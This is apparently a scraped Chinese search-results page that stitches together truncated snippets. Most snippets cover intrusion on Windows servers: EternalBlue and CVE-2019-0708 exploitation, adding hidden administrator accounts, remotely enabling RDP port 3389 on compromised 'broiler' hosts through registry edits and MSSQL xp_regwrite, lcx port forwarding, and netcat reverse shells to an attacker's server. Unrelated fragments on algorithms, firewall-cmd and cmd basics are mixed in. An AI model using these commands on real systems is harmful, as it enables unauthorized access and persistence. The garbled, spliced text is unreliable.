攻击机kali 目标机win7 sp1(旗舰版) 当nmap或其他工具发现目标及上有445端口开启,可以考虑检测是否存在永恒之蓝,使用msf中的永恒之蓝检测模块 use auxiliary/scanner...blue/blue net user blue blue /add 将用户blue添加入管理组 (不加入会连接不上) net localgroup administrators blue /add 开启远程桌面功能..."Server /v fDenyTSConnections /t REG_DWORD /d 0 /f (实测没问题) Kali远程桌面连接Win7 rdesktop 192.168.194.129:3389...如果选择取消将连接不上,但这样的交互性太强了,容易被发现,因此开启完3389端口后可以用metasploit中的cve-2019-0708模块进行攻击获取shell(这里前提是目标机不是普通的家庭版,要支持远程连接
当我们拿到管理员账号密码的时候,我们需要利用3389端口远程桌面连接到对方服务器,发现3389端口没有开放,此时需要我们远程开启目标服务器3389端口。...新建文件 3389.reg 内容如下: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal...HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp] "PortNumber"=dword:00000D3D 此时目标服务器 3389...端口关闭: 上传3389.reg文件到目标服务器 提权之后运行一下 3389.reg 。...regedit /s C:/www/3389.reg 成功开启 3389端口。
2 (对xp\2000都有效) 脚本文件 本地开3389 工具:rots1.05 使用方法: 在命令行方式下使用windows自带的脚本宿主程序cscript.exe调用脚本,例如: c:\...默认是3389。 自动重起选项: 使用/r表示安装完成后自动重起目标使设置生效。 使用/fr表示强制重起目标。(如果/r不行,可以试试这个) 使用此参数时,端口设置不能忽略。 ...比如扫描到了一个有NT弱口令的服务器,IP地址是222.222.222.222,管理员帐户是administrator,密码为空 运行CMD(2000下的DOS),我们给它开终端! ...cscript reg.vbe 222.222.222.222 administrator "" 3389 /fr 上面的命令应该可以理解吧?...3,下载3389自动安装程序-djshao正式版5.0 说明: 解压djshao5.0.zip,用你的随便什么方法把把解压出来的djxyxs.exe上传到肉鸡的c:\winnt\temp下,然后进入
直接上脚本吧,多线程,加了队列,然后尝试用不同的banner头去连接1-65535端口,如果开放,总有一个是的,当从注册表无法读取RDP端口的时候。 #!/u...
3389: [Usaco2004 Dec]Cleaning Shifts安排值班 Time Limit: 1 Sec Memory Limit: 128 MB Submit: 102 Solved:...保留一个起始时间最长的即可,于是我们开始进行贪心 1 /************************************************************** 2 Problem: 3389...phile神犇的离散化点子么么哒) 1 /************************************************************** 2 Problem: 3389
更改数据执行保护 (Data Execution Prevention,DEP)需要重启机器图片图片图片4句相关命令,cmd执行bcdedit /set {current} nx 参数bcdedit /
https://pan.baidu.com/s/1Rt3ZFXY0sOD5okeb9VI3_A
复制到c:windows的temp目录下并命名为cmd.txt:copy c:windowstempcookiescmd.exe c:windowstempcmd.txt 开3389端口的命令:REG...&del /f /q /a a.txt (( SQL语句直接开启3389 )) 3389登陆关键注册表位置:HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminalServerDenyTSConnections...其中键值DenyTSConnections 直接控制着3389的开启和关闭,当该键值为0表示3389开启,1则表示关闭。...而MSSQL的xp_regwrite的存储过程可以对注册进行修改,我们使用这点就可以简单的修改DenyTSConnections键值,从而控制3389的关闭和开启。...开启3389的SQL语句: syue.com/xiaohua.asp?
如果要打开80端口我们需要添加一个iptables规则,对于RHEL7我们可以使用firewall-cmd命令来添加。...首先用以下命令添加80端口: [root@rhel7 ~]# firewall-cmd --zone=public --add-port=80/tcp --permanent 然后用以下命令重启firewall...服务: [root@rhel7 ~]# firewall-cmd --reload 接下来检查是否添加成功: [root@rhel7 ~]# iptables-save | grep 80 -A IN_public_allow...如果你想屏蔽或者移除80端口,也可以用firewall-cmd命令: [root@rhel7 ~]# iptables-save | grep 80 -A IN_public_allow -p tcp...=80/tcp --permanent success [root@rhel7 ~]# firewall-cmd --reload success [root@rhel7 ~]# iptables-save
iis7远程桌面小编在开始讨论什么是端口之前,让我们先讨论一下什么是端口?我经常在Internet上听到我的主机打开了多少个端口,这些端口会被入侵!或者说“打开...
在 PC 行业的早期,大多数计算机完全是通过在命令行输入命令来操作的。 基于 Unix、CP / M、DR-DOS 等机器争夺地位和市场份额。 最终,MS-DO...
复制到c:\windows的temp目录下并命名为cmd.txt:copy c:\windows\temp\cookies\cmd.exe c:\windows\temp\cmd.txt 开3389端口的命令...其中键值DenyTSConnections 直接控制着3389的开启和关闭,当该键值为0表示3389开启,1则表示关闭。...而MSSQL的xp_regwrite的存储过程可以对注册进行修改,我们使用这点就可以简单的修改DenyTSConnections键值,从而控制3389的关闭和开启。...开启3389的SQL语句: syue.com/xiaohua.asp?...cmd命令net user 如果存在 mysql mssql这样用户或者类似的.通常就是它的mssql mysql服务已经被降权运行了 如何判断服务器上是否开启了mysql服务?
可以使用mimikazt捉密码,但是3389前面用nmap扫了也没开,需要cmd开启一下远程,不过我想饶下路子,都到这里了。要不试下创建个账号,给他留点东西以表我来过。。...说干就干,想起之前看过某文章,直接在菜刀执行cmd命令。试一下 ? 阿西吧,发现cmd执行whoami都执行不了,没事,我还有招,给它传个cmd ?...剩下一个难关啦,开启3389,然后,哈哈哈哈~~事不宜迟,马上动手。 这里我使用了这条命令进行开启————百度找的。...查看是否开启。...已成功开启3389。接着就是远程远程上去啦。 ? 至此,成功拿下服务器管理员权限!!!
下面就先详细讲解下LXC转发工具与使用方法: lcx.exe是个端口转发工具,相当于把肉鸡A上的3389端口转发到B机上, 当然这个B机必须有外网IP.这样链接B机的3389度端口就相当于链接A机的3389...用法: 如在本机B上监听 -listen 51 3389,在肉鸡A上运行-slave 本机ip 51 肉鸡ip 3389 那么在本地连127.0.0.1就可以连肉鸡的3389.第二条是本机转向。...二、nc 反弹 cmdshell 开启肉鸡代理执行 cmdshell 在肉鸡上执行 nc -l -p 2333 -t -e cmd.exe 意思是,肉鸡监听本地的 2333 端口,且应答通过 telnet...(-t)模式执行 cmd.exe 程序 在自己的公网服务器上执行 nc -nvv 肉鸡 ip 2333 反向代理执行 cmdshell 在公网服务器上运行 nc -l -p 2333 意思是监听本地端口...2333,登台其他电脑登陆过来 在肉鸡上执行 nc -t -e cmd.exe 公网服务器 ip 2333 意思是让肉鸡可以通过 telnet 模式执行 cmd.exe 程序,并可以把执行权通过 2333
SQL语句直接开启3389 ---- 3389登陆关键注册表位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\...DenyTSConnections 其中键值DenyTSConnections 直接控制着3389的开启和关闭,当该键值为0表示3389开启,1则表示关闭。...而MSSQL的xp_regwrite的存储过程可以对注册进行修改,我们使用这点就可以简单的修改DenyTSConnections键值,从而控制3389的关闭和开启。...开启3389的SQL语句: syue.com/xiaohua.asp?...cmd命令net user 如果存在 mysql mssql这样用户或者类似的.通常就是它的mssql mysql服务已经被降权运行了 如何判断服务器上是否开启了mysql服务?
题目背景 Gauss消元 题目描述 给定一个线性方程组,对其求解 输入输出格式 输入格式: 第一行,一个正整数 nn 第二至 n+1n+1行,每行 n+1n+1...
01 漏洞详情 Windows系列服务器于2019年5月15号,被爆出高危漏洞,该漏洞影响范围较广,漏洞利用方式是通过远程桌面端口3389,RDP协议进行攻击的。.../pan.baidu.com/s/1NeaYWuIFoRs0xCHW4S_ntw 提取码:n3zm 环境 攻击机:kali IP: 10.1.8.167 靶机: win7 IP:10.1.8.8(开放3389...端口) Win7靶机开启和关闭3389端口 (1)开启3389端口: 在cmd内,执行如下命令,即可开启3389端口。...端口: 在cmd内,执行如下命令,即可关闭3389端口。...Windows python3环境 用法: 编辑3389_hosts,将待检测的IP地址写入文件,一行一个 命令行切换到代码所在的目录,运行python3 cve-2019-0708.py
01 漏洞详情 Windows系列服务器于2019年5月15号,被爆出高危漏洞,该漏洞影响范围较广,漏洞利用方式是通过远程桌面端口3389,RDP协议进行攻击的。...环境 攻击机:kali IP: 10.1.8.167 靶机: win7 IP:10.1.8.8(开放3389端口) Win7靶机开启和关闭3389端口 (1)开启3389端口: 在cmd内,执行如下命令...,即可开启3389端口。...端口: 在cmd内,执行如下命令,即可关闭3389端口。...编辑3389_hosts,将待检测的IP地址写入文件,一行一个 2. 命令行切换到代码所在的目录,运行python3 cve-2019-0708.py ? ? ? END ?
1.进入cmd,打开DOS界面 2.①输入tasklist命令来查看当前计算机运行的进程. ②输入tasklist /?
cmd切换盘符自己老是忘,每次都要去百度,所幸就记录下: 打开cmd的命令行:window + R,输入cmd cmd命令行下怎么切换目录 此时默认的地址是C盘 cmd命令行下怎么切换目录...如果我们要访问D盘,只需要输入D:(不区分大小写) 如下图,盘符已经更改 cmd命令行下怎么切换目录 如果我们要进入一个具体的文件夹,那么继续输入命令。
领取专属 10元无门槛券
手把手带您无忧上云